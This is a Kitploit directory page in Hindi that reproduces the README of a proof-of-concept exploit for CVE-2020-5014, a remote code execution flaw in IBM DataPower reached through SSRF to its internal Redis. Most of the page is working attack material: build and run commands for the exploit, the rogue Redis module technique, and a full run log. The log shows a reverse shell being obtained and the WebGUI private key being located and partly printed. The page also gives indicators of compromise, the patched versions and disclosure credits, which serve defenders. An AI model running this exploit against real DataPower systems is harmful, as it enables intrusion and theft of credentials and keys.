Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/copethomas/datapower-redis-rce-exploit
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूल
GitHubcopethomas/datapower-redis-rce-exploit

datapower-redis-rce-exploit

IBM Datapower Authenticated Redis RCE Exploit के लिए एक POC जो Test Message Function (CVE-2020-5014) का दुरुपयोग करता है।

रिपॉजिटरी देखेंवेबसाइट
2214 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

datapower-redis-rce-exploit (CVE-2020-5014)

IBM DataPower प्रमाणित Redis RCE एक्सप्लॉइट के लिए एक POC जो "Test Message" फ़ंक्शन का दुरुपयोग करता है।

poc_demo

YouTube पर पूर्ण विवरण और डेमो

tomcope.com पर ब्लॉग पोस्ट

स्पष्टीकरण

DataPower WebGUI के प्रमाणित सत्र के माध्यम से उपलब्ध DataPower के "Send a Test Message" फ़ंक्शन का उपयोग करके, DataPower के आंतरिक Redis सर्वर के विरुद्ध SSRF हमला करना संभव है। आंतरिक Redis सर्वर पासवर्ड से सुरक्षित है, लेकिन ऐसा प्रतीत होता है कि यह एक हार्डकोडेड पासवर्ड का उपयोग करता है। इसे पहले से मौजूद Redis RCE भेद्यता के साथ जोड़कर, DataPower के अंतर्निहित Linux ऑपरेटिंग सिस्टम के अंदर drouter उपयोगकर्ता के रूप में मनमाना कोड निष्पादित किया जा सकता है।

त्वरित आरंभ

  1. इस रिपॉजिटरी को क्लोन करें
  2. मॉड्यूल संकलित करें:
    • cd RedisModulesSDK/dpredisshell/
    • make
  • Golang कोड संकलित करें
    • go build
  • फ़्लैग देखें
    • ./datapower-redis-rce-exploit -h
  • एक्सप्लॉइट चलाएँ
    • ./datapower-redis-rce-exploit -dpip 1.2.3.4 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd xxx -fakeredisip 5.6.7.8
  • उदाहरण

    नीचे DataPower को Docker के माध्यम से और एक्सप्लॉइट को स्थानीय रूप से localhost के माध्यम से चलाने का एक पूर्ण उदाहरण दिया गया है:

    1. docker run -it -e DATAPOWER_ACCEPT_LICENSE=true -e DATAPOWER_INTERACTIVE=true -e DATAPOWER_WORKER_THREADS=4 --network='host' ibmcom/datapower:10.0.1.1
    2. DataPower में उपयोगकर्ता नाम admin और पासवर्ड admin से लॉगिन करें
    3. WebGUI से कॉन्फ़िगर करें:
    root@kitploit:~
    idg# config
    Global mode
    idg(config)# web-mgmt
    Modify Web Management Service configuration
    
    idg(config web-mgmt)# admin-state enabled
    idg(config web-mgmt)# exit
    idg(config)# write mem
    Overwrite previously saved configuration? Yes/No [y/n]: y
    Configuration saved successfully.
    idg(config)# exit
    idg# 
    
    1. जाँचें कि WebUI चालू है:
    root@kitploit:~
    idg# show web-mgmt
    
    web-mgmt [up] 
    --------
     admin-state enabled 
     ip-address 0.0.0.0 
     port 9090 
     save-config-overwrite on 
     idle-timeout 600 Seconds
     acl web-mgmt  [up]
     ssl-config-type server 
     enable-sts on 
    
    idg# 
    
    1. एक नई टर्मिनल विंडो खोलें
    2. इस रिपॉजिटरी को क्लोन करें
      • git clone https://github.com/copethomas/datapower-redis-rce-exploit
    3. मॉड्यूल संकलित करें:
      • cd RedisModulesSDK/dpredisshell/
      • make
    4. Golang कोड संकलित करें
      • cd ../../
      • go build
    5. अपने शेल में आंतरिक redis पासवर्ड लोड करें। (अधिक विवरण के लिए स्पष्टीकरण पढ़ें)
    root@kitploit:~
    $ read DPREDISPASSWD
    apples
    $ echo $DPREDISPASSWD
    apples
    
    1. एक्सप्लॉइट चलाएँ:
    root@kitploit:~
    $ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888
    Main      - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope
    Main      - 2020/10/18 23:34:29 Starting Rogue Redis Server...
    Main      - 2020/10/18 23:34:29 Attempting to Login to Datapower...
    FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888
    FakeRedis - 2020/10/18 23:34:29 Online and Ready!
    Main      - 2020/10/18 23:34:29 Datapower Credentials Valid!
    Main      - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5
    Main      - 2020/10/18 23:34:29 Exchanging Login token for auth cookie...
    Main      - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+
    Main      - 2020/10/18 23:34:29 Datapower Login Complete!
    Main      - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ...
    Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:29 Accepting connection...
    FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK!
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK
    Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection...
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Uploading module...
    FakeRedis - 2020/10/18 23:34:29 Upload Complete!
    Main      - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis!
    Main      - 2020/10/18 23:34:29 Performing clean up...
    Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected)
    FakeRedis - 2020/10/18 23:34:29 Connection Closed
    Main      - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK
    Main      - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ...
    Main      - 2020/10/18 23:34:30 Waiting for Reverse Shell...
    Main      - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:30 Accepting connection...
    Main      - 2020/10/18 23:34:30 Got Reverse Shell!
    Main      - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    id
    uid=1000(drouter) gid=1000(drouter) groups=1000(drouter)
    ps -ef
    UID          PID    PPID  C STIME TTY          TIME CMD
    drouter        1       0  6 22:00 pts/0    00:02:15 /opt/ibm/datapower/root/drouter
    drouter       24       1  0 22:00 pts/0    00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement
    drouter       27      24  0 22:00 pts/0    00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379
    drouter       28      24  0 22:00 pts/0    00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel]
    drouter       40       1  0 22:00 pts/0    00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0
    drouter       61      27  0 22:34 pts/0    00:00:00 [sh]
    drouter       63      61  0 22:34 pts/0    00:00:00 
    find / -name webgui-privkey.pem 2>/dev/null
    /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
    head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
    -----BEGIN PRIVATE KEY-----
    MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT
    

    IOCs

    एक्सप्लॉइट के दौरान DataPower आंतरिक redis url के साथ कई url-open त्रुटियों को लॉग करेगा। ऐसा इसलिए है क्योंकि redis DataPower द्वारा अपेक्षित XML प्रारूप में उत्तर नहीं देता है।

    root@kitploit:~
    18:22:55	network	error	130	request	  	0x80e00040	xmlfirewall (map): url-open: Remote error on url 'http://127.0.0.1:16379/'
    

    फिक्स / पैच

    संस्करण 10.0.1.2 और 2018.4.1.15 में ठीक किया गया

    • https://www.ibm.com/support/pages/node/6426789
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5014

    लिंक और धन्यवाद

    • https://github.com/n0b0dyCN/redis-rogue-server - इस एक्सप्लॉइट के Python संस्करण और exp.c Redis मॉड्यूल के लिए
    • https://github.com/RicterZ/RedisModules-ExecuteCommand - मूल Redis मॉड्यूल के लिए
    • https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf - Redis RCE की खोज के लिए

    मूल खोज मेरे द्वारा (Thomas Cope) @ अक्टूबर 21, 2020 को की गई - Hackerone के माध्यम से IBM को रिपोर्ट की गई

    टूल डाउनलोड करें